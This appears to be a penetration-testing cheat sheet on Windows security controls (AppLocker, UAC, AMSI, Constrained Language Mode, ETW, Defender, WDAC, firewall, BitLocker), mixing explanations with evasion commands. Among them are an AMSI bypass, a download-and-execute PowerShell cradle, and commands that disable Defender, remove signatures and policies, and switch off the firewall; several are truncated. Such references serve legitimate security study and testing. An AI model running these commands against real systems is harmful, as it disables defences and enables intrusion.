Windows - Defenses

Summary

AppLocker

> AppLocker is a security feature in Microsoft Windows that provides administrators with the ability to control which applications and files users are allowed to run on their systems. The rules can be based on various criteria, such as the file path, file publisher, or file hash, and can be applied to specific users or groups.

- Enumerate Local AppLocker Effective Policy

```
PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleC
PowerView PS C:\> Get-AppLockerPolicy -effective -xml
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe # (Keys
```

- AppLocker Bypass
  - By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writtable by any users
  - api0cradle/UltimateAppLockerByPassList/Generic-AppLockerbypasses.md
  - api0cradle/UltimateAppLockerByPassList/VerifiedAppLockerBypasses.md
  - api0cradle/UltimateAppLockerByPassList/DLL-Execution.md

User Account Control

UAC stands for User Account Control. It is a security feature introduced by Microsoft in Windows Vista and is present in all subsequent versions of the Windows operating system. UAC helps mitigate the impact of malware and helps protect users by asking for permission or an administrator's password before allowing changes to be made to the system that could potentially affect all users of the computer.

- Check if UAC is enabled

```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
```

- Check UAC level

```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
```

EnableLUA	LocalAccountTokenFilterPolicy	FilterAdministratorToken	Description
0	/	/	No UAC
1	1	/	No UAC
1	0	0	No UAC for RID 500
1	0	1	UAC for Everyone

- UAC Bypass
  - AutoElevated binary signed by Microsoft - `msconfig` , `sdclt.exe` , `eventvwr.exe` , etc
  - hfiref0x/UACME - Defeating Windows User Account Control

DPAPI

Refer to PayloadsAllTheThings/Windows - DPAPI.md

Powershell

Anti Malware Scan Interface

> The Anti-Malware Scan Interface (AMSI) is a Windows API (Application Programming Interface) that provides a unified interface for applications and services to integrate with any anti-malware product installed on a system. The API allows anti-malware solutions to scan files and scripts at runtime, and provides a means for applications to request a scan of specific content.

Find more AMSI bypass: Windows - AMSI Bypass.md

```
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetFiel
```

Just Enough Administration

> Just-Enough-Administration (JEA) is a feature in Microsoft Windows Server that allows administrators to delegate specific administrative tasks to non-administrative users. JEA provides a secure and controlled way to grant limited, just-enough access to systems, while ensuring that the user cannot perform unintended actions or access sensitive information.

Breaking out if JEA:

- List available cmdlets: `command`
- Look for non-default cmdlets:

```
Set-PSSessionConfiguration
Start-Process
New-Service
Add-Computer
```

Constrained Language Mode

Check if we are in a constrained mode: `$ExecutionContext.SessionState.LanguageMode`

- Bypass using an old Powershell. Powershell v2 doesn't support CLM.

```
powershell.exe -version 2
powershell.exe -version 2 -ExecutionPolicy bypass
powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).Downloa
```

- Bypass when `__PSLockDownPolicy` is used. Just put "System32" somewhere in the path.

```
# Enable CLM from the environment
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
Get-ChildItem -Path Env:

# Create a check-mode.ps1 containing your "evil" powershell commands
$mode = $ExecutionContext.SessionState.LanguageMode
write-host $mode

# Simple bypass, execute inside a System32 folder
PS C:\> C:\Users\Public\check-mode.ps1
ConstrainedLanguage

PS C:\> C:\Users\Public\System32\check-mode.ps1
FullLanguagge
```

- Bypass using COM: xpn/COM_to_registry.ps1
- Bypass using your own Powershell DLL: p3nt4/PowerShdll & iomoath/PowerShx

```
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h      Display this message
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window (I
rundll32 PowerShdll,main -i      Start an interactive console in this console

rundll32 PowerShx.dll,main -e                          <PS script to run>
rundll32 PowerShx.dll,main -f <path>                   Run the script passed as
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>    Load a script and run a
rundll32 PowerShx.dll,main -w                          Start an interactive cor
rundll32 PowerShx.dll,main -i                          Start an interactive cor
rundll32 PowerShx.dll,main -s                          Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v                          Print Execution Output
```

Script Block Logging

> Once Script Block Logging is enabled, the script blocks and commands that are executed will be recorded in the Windows event log under the "Windows PowerShell" channel. To view the logs, administrators can use the Event Viewer application and navigate to the "Windows PowerShell" channel.

Enable Script Block Loggin:

```
function Enable-PSScriptBlockLogging
{
    $basePath = 'HKLM:\Software\Policies\Microsoft\Windows' +
      '\PowerShell\ScriptBlockLogging'

    if(-not (Test-Path $basePath))
    {
        $null = New-Item $basePath -Force
    }

    Set-ItemProperty $basePath -Name EnableScriptBlockLogging -Value "1"
}
```

Protected Process Light

Protected Process Light (PPL) is implemented as a Windows security mechanism that enables processes to be marked as "protected" and run in a secure, isolated environment, where they are shielded from attacks by malware or other unauthorized processes. PPL is used to protect processes that are critical to the operation of the operating system, such as anti-virus software, firewalls, and other security-related processes.

When a process is marked as "protected" using PPL, it is assigned a security level that determines the level of protection it will receive. This security level can be set to one of several levels, ranging from low to high. Processes that are assigned a higher security level are given more protection than those that are assigned a lower security level.

A process's protection is defined by a combination of the "level" and the "signer". The following table represent commonly used combinations, from itm4n.github.io.

Protection level	Value	Signer	Type
PS_PROTECTED_SYSTEM	0x72	WinSystem (7)	Protected (2)

PS_PROTECTED_WINTCB	0x62	WinTcb (6)	Protected (2)
PS_PROTECTED_WINDOWS	0x52	Windows (5)	Protected (2)
PS_PROTECTED_AUTHENTICODE	0x12	Authenticode (1)	Protected (2)
PS_PROTECTED_WINTCB_LIGHT	0x61	WinTcb (6)	Protected Light (1)
PS_PROTECTED_WINDOWS_LIGHT	0x51	Windows (5)	Protected Light (1)
PS_PROTECTED_LSA_LIGHT	0x41	Lsa (4)	Protected Light (1)
PS_PROTECTED_ANTIMALWARE_LIGHT	0x31	Antimalware (3)	Protected Light (1)
PS_PROTECTED_AUTHENTICODE_LIGHT	0x11	Authenticode (1)	Protected Light (1)

PPL works by restricting access to the protected process's memory and system resources, and by preventing the process from being modified or terminated by other processes or users. The process is also isolated from other processes running on the system, which helps prevent attacks that attempt to exploit shared resources or dependencies.

- Check if LSASS is running in PPL

```
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
```

- Protected process example: you can't kill Microsoft Defender even with Administrator privilege.

```
taskkill /f /im MsMpEng.exe
ERROR: The process "MsMpEng.exe" with PID 5784 could not be terminated.
Reason: Access is denied.
```

- Can be disabled using vulnerable drivers (Bring Your Own Vulnerable Driver / BYOVD)

Credential Guard

When Credential Guard is enabled, it uses hardware-based virtualization to create a secure environment that is separate from the operating system. This secure environment is used to store sensitive credential information, which is encrypted and protected from unauthorized access.

Credential Guard uses a combination of hardware-based virtualization and the Trusted Platform Module (TPM) to ensure that the secure kernel is trusted and secure. It can be enabled on devices that have a compatible processor and TPM version, and require a UEFI firmware that supports the necessary features.

Event Tracing for Windows

ETW (Event Tracing for Windows) is a Windows-based logging mechanism that provides a way to collect and analyze system events and performance data in real-time. ETW allows developers and system administrators to gather detailed information about system performance and behavior, which can be used for troubleshooting, optimization, and security purposes.

Name	GUID
Microsoft-Antimalware-Scan-Interface	{2A576B87-09A7-520E-C21A-4942F0271D67}
Microsoft-Windows-PowerShell	{A0C1853B-5C40-4B15-8766-3CF1C58F985A}
Microsoft-Antimalware-Protection	{E4B70372-261F-4C54-8FA6-A5A7914D73DA}
Microsoft-Windows-Threat-Intelligence	{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}

You can see all the providers registered to Windows using: `logman query providers`

```
PS C:\Users\User\Documents> logman query providers

Provider                                  GUID
-------------------------------------------------------------------------------
.NET Common Language Runtime              {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
ACPI Driver Trace Provider                {DAB01D4D-2D48-477D-B1C3-DAAD0CE6F06B}
Active Directory Domain Services: SAM     {8E598056-8993-11D2-819E-0000F875A064}
Active Directory: Kerberos Client         {BBA3ADD2-C229-4CDB-AE2B-57EB6966B0C4}
Active Directory: NetLogon                {F33959B4-DBEC-11D2-895B-00C04F79AB69}
ADODB.1                                   {04C8A86F-3369-12F8-4769-24E484A9E725}
ADOMD.1                                   {7EA56435-3F2F-3F63-A829-F0B35B5CAD41}
...
```

We can get more information about the provider using: `logman query providers {ProviderID}/Provider-Name`

```
PS C:\Users\User\Documents> logman query providers Microsoft-Antimalware-Scan-Inter

Provider                                GUID
-------------------------------------------------------------------------------
Microsoft-Antimalware-Scan-Interface    {2A576B87-09A7-520E-C21A-4942F0271D67}

Value               Keyword             Description
-------------------------------------------------------------------------------
0x0000000000000001  Event1
0x8000000000000000  AMSI/Debug

Value               Level               Description
-------------------------------------------------------------------------------
0x04                win:Informational   Information

PID                 Image
-------------------------------------------------------------------------------
0x00002084          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x00002084          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x00001bd4
0x00000ad0
0x00000b98
```

The `Microsoft-Windows-Threat-Intelligence` provider corresponds to ETWTI, an additional security feature that an EDR can subscribe to and identify malicious uses of APIs (e.g. process injection).

```
0x0000000000000001  KERNEL_THREATINT_KEYWORD_ALLOCVM_LOCAL
0x0000000000000002  KERNEL_THREATINT_KEYWORD_ALLOCVM_LOCAL_KERNEL_CALLER
0x0000000000000004  KERNEL_THREATINT_KEYWORD_ALLOCVM_REMOTE
0x0000000000000008  KERNEL_THREATINT_KEYWORD_ALLOCVM_REMOTE_KERNEL_CALLER
0x0000000000000010  KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL
0x0000000000000020  KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL_KERNEL_CALLER
0x0000000000000040  KERNEL_THREATINT_KEYWORD_PROTECTVM_REMOTE
0x0000000000000080  KERNEL_THREATINT_KEYWORD_PROTECTVM_REMOTE_KERNEL_CALLER
0x0000000000000100  KERNEL_THREATINT_KEYWORD_MAPVIEW_LOCAL
0x0000000000000200  KERNEL_THREATINT_KEYWORD_MAPVIEW_LOCAL_KERNEL_CALLER
0x0000000000000400  KERNEL_THREATINT_KEYWORD_MAPVIEW_REMOTE
0x0000000000000800  KERNEL_THREATINT_KEYWORD_MAPVIEW_REMOTE_KERNEL_CALLER
0x0000000000001000  KERNEL_THREATINT_KEYWORD_QUEUEUSERAPC_REMOTE
0x0000000000002000  KERNEL_THREATINT_KEYWORD_QUEUEUSERAPC_REMOTE_KERNEL_CALLER
```

```
0x0000000000004000  KERNEL_THREATINT_KEYWORD_SETTHREADCONTEXT_REMOTE
0x0000000000008000  KERNEL_THREATINT_KEYWORD_SETTHREADCONTEXT_REMOTE_KERNEL_CALLER
0x0000000000010000  KERNEL_THREATINT_KEYWORD_READVM_LOCAL
0x0000000000020000  KERNEL_THREATINT_KEYWORD_READVM_REMOTE
0x0000000000040000  KERNEL_THREATINT_KEYWORD_WRITEVM_LOCAL
0x0000000000080000  KERNEL_THREATINT_KEYWORD_WRITEVM_REMOTE
0x0000000000100000  KERNEL_THREATINT_KEYWORD_SUSPEND_THREAD
0x0000000000200000  KERNEL_THREATINT_KEYWORD_RESUME_THREAD
0x0000000000400000  KERNEL_THREATINT_KEYWORD_SUSPEND_PROCESS
0x0000000000800000  KERNEL_THREATINT_KEYWORD_RESUME_PROCESS
```

The most common bypassing technique is patching the function `EtwEventWrite` which is called to write/log ETW events. You can list the providers registered for a process with `logman query providers -pid <PID>`

Windows Defender Antivirus

Also known as `Microsoft Defender`.

```
# check status of Defender
PS C:\> Get-MpComputerStatus

# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true

# disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1

# exclude a folder
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"

# exclude using wmi
PS C:\> WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference ca

# remove signatures (if Internet connection is present, they will be downloaded aga
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.ex
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

Windows Defender Application Control

Also known as `WDAC/UMCI/Device Guard`.

> Windows Defender Application Guard, formerly known as Device Guard has the power to control if an application may or may not be executed on a Windows device. WDAC will prevent the execution, running, and loading of unwanted or malicious code, drivers, and scripts. WDAC does not trust any software it does not know of.

- Get WDAC current mode

```
$ Get-ComputerInfo
DeviceGuardCodeIntegrityPolicyEnforcementStatus         : EnforcementMode
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus : EnforcementMode
```

- Remove WDAC policies using CiTool.exe (Windows 11 2022 Update)

```
$ CiTool.exe -rp "{PolicyId GUID}" -json
```

- Device Guard policy location: `C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{PolicyId GUID}.cip`
- Device Guard example policies: `C:\Windows\System32\CodeIntegrity\ExamplePolicies\`
- WDAC utilities: mattifestation/WDACTools, a PowerShell module to facilitate building, configuring, deploying, and auditing Windows Defender Application Control (WDAC) policies
- WDAC bypass techniques: bohops/UltimateWDACBypassList
  - nettitude/Aladdin - WDAC Bypass using AddInProcess.exe

Windows Defender Firewall

- List firewall state and current configuration

```
netsh advfirewall firewall dump
# or
netsh firewall show state
netsh firewall show config
```

- List firewall's blocked ports

```
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules |  where {$_.action -eq "0"}
```

- Disable firewall

```
# Disable Firewall via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"  /

# Disable Firewall via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\S

# Disable Firewall on any windows using native command
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off
```

Windows Information Protection

Windows Information Protection (WIP), formerly known as Enterprise Data Protection (EDP), is a security feature in Windows 10 that helps protect sensitive data on enterprise devices. WIP helps to prevent accidental data leakage by allowing administrators to define policies that control how enterprise data can be accessed, shared, and protected. WIP works by identifying and separating enterprise data from personal data on the device.

Protection of file (data) locally marked as corporate is facilitated via Encrypting File System (EFS) encryption of Windows (a feature of NTFS file system)

- Enumerate files attributes, `Encrypted` attribute is used for files protected by WIP

```
PS C:\> (Get-Item -Path 'C:\...').attributes
Archive, Encrypted
```

- Encrypt files: `cipher /c encryptedfile.extension`
- Decrypt files: `cipher /d encryptedfile.extension`

The **Enterprise Context** column shows you what each app can do with your enterprise data:

- **Domain**. Shows the employee's work domain (such as, corp.contoso.com). This app is considered work-related and can freely touch and open work data and resources.
- **Personal**. Shows the text, Personal. This app is considered non-work-related and can't touch any work data or resources.
- **Exempt**. Shows the text, Exempt. Windows Information Protection policies don't apply to these apps (such as, system components).

BitLocker Drive Encryption

BitLocker is a full-disk encryption feature included in Microsoft Windows operating systems starting with Windows Vista. It is designed to protect data by providing encryption for entire volumes. BitLocker uses AES encryption algorithm to encrypt data on the disk. When enabled, BitLocker requires a user to enter a password or insert a USB flash drive to unlock the encrypted volume before the operating system is loaded, ensuring that data on the disk is protected from unauthorized access. BitLocker is commonly used on laptops, portable storage devices, and other mobile devices to protect sensitive data in case of theft or loss.

When BitLocker is in `Suspended` state, boot the system using a Windows Setup USB, and then decrypt the drive using this command: `manage-bde -off c:`

You can check if it is done decrypting using this command: `manage-bde -status`

References

- SNEAKING PAST DEVICE GUARD - Cybereason - Philip Tsukerman
- PowerShell about_Logging_Windows - Microsoft Documentation
- Do You Really Know About LSA Protection (RunAsPPL)? - itm4n - Apr 7, 2021
- Determine the Enterprise Context of an app running in Windows Information Protection (WIP) - 03/10/2023 - Microsoft
- Create and verify an Encrypting File System (EFS) Data Recovery Agent (DRA) certificate - 12/09/2022 - Microsoft
- DISABLING AV WITH PROCESS SUSPENSION - March 24, 2023 - By Christopher Paschen
- Disabling Event Tracing For Windows - UNPROTECT PROJECT - Tuesday 19 April 2022
- ETW: Event Tracing for Windows 101 - ired.team
- Remove Windows Defender Application Control (WDAC) policies - Microsoft - 12/09/2022